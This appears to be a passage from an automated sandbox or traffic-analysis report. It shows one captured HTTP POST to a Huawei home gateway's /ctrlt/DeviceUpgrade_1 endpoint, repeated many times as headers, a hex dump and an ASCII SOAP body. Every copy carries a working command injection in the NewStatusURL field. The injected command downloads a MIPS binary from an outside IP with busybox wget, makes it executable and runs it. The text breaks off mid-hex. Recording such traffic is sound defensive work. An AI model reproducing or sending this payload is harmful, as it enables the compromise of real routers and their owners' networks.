73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 